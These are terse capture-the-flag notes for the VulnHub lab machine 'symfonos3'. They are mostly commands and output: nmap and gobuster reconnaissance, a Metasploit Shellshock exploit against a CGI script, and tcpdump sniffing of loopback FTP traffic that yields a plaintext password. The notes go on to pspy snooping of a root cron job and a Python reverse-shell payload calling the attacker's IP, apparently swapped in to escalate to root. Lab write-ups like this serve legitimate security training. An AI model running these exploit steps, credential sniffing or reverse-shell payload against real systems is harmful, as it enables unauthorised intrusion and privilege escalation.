SHELLSHOCK (METASPLOIT)

TCPDUMP TO PCAP FILE OPEN WIRESHARK TO FOLLOW FTP TRAFFIC AND GET CREDS

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.5b

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

| ssh-hostkey:

| 2048 cd:64:72:76:80:51:7b:a8:c7:fd:b2:66:fa:b6:98:0c (RSA)

| 256 74:e5:9a:5a:4c:16:90:ca:d8:f7:c7:78:e7:5a:86:81 (ECDSA)

|_ 256 3c:e4:0b:b9:db:bf:01:8a:b7:9c:42:bc:cb:1e:41:6b (ED25519)

80/tcp open http Apache httpd 2.4.25 ((Debian))

|_http-server-header: Apache/2.4.25 (Debian)

|_http-title: Site doesn't have a title (text/html).

MAC Address: 00:0C:29:11:79:7B (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.2 - 4.9

Network Distance: 1 hop

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

root@akg:/home/akg/Desktop/vulnhub/symfonos3# gobuster dir -u http://symfonos3/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/gate/cerberus (Status: 301)

/server-status (Status: 403)

/cgi-bin/underworld

http://symfonos3/cgi-bin/underworld

msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhosts 192.168.2.228

rhosts => 192.168.2.228

msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set lhost 192.168.2.158

lhost => 192.168.2.158

msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/underworld

targeturi => /cgi-bin/underworld

msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit

cerberus@symfonos3:/usr/lib/cgi-bin$ tcpdump -D

tcpdump -D

1.ens33 [Up, Running]

2.any (Pseudo-device that captures on all interfaces) [Up, Running]

3.lo [Up, Running, Loopback]

4.nflog (Linux netfilter log (NFLOG) interface)

5.nfqueue (Linux netfilter queue (NFQUEUE) interface)

6.usbmon1 (USB bus number 1)

7.usbmon2 (USB bus number 2)

tcpdump -w file.pcap -i lo

download file.pcap /root/ (FROM METERPRETER)

OPEN pcap file in Wireshark

220 ProFTPD 1.3.5b Server (Debian) [::ffff:127.0.0.1]

USER hades

331 Password required for hades

PASS PTpZTfU4vxgzvRBE

230 User hades logged in

CWD /srv/ftp/

250 CWD command successful

root@akg:/home/akg/Desktop/tools# cp /home/akg/Desktop/hackthebox/friendzone/pspy32s .

meterpreter > upload /home/akg/Desktop/hackthebox/friendzone/pspy32s

hades@symfonos3:/tmp$ chmod 777 pspy32s

hades@symfonos3:/tmp$ ./pspy32s

2020/04/19 08:36:01 CMD: UID=0 PID=1905 | /usr/sbin/CRON -f

2020/04/19 08:36:01 CMD: UID=0 PID=1904 | /usr/sbin/cron -f

2020/04/19 08:36:02 CMD: UID=0 PID=1907 | /usr/sbin/CRON -f

2020/04/19 08:36:02 CMD: UID=0 PID=1906 | /usr/sbin/CRON -f

2020/04/19 08:36:02 CMD: UID=0 PID=1909 | /bin/sh -c /usr/bin/python2.7 /opt/ftpclient/ftpclient.py

2020/04/19 08:36:02 CMD: UID=0 PID=1908 | /bin/sh -c /usr/bin/curl --silent -I 127.0.0.1 > /opt/ftpclient/statuscheck.txt

2020/04/19 08:36:02 CMD: UID=0 PID=1910 | proftpd: (accepting connections)

2020/04/19 08:36:02 CMD: UID=0 PID=1911 | /usr/sbin/CRON –f

hades@symfonos3:/home/cerberus$ find / -writable -type d 2>/dev/null

root@akg:/home/akg/Desktop/vulnhub/symfonos3# cat ftpclient.py.bak

```
import socket,subprocess,os

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("192.168.2.158",1234))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p = subprocess.call(["/bin/sh","-i"])
```

root@akg:/home/akg/Desktop/vulnhub/symfonos3# python -m SimpleHTTPServer 80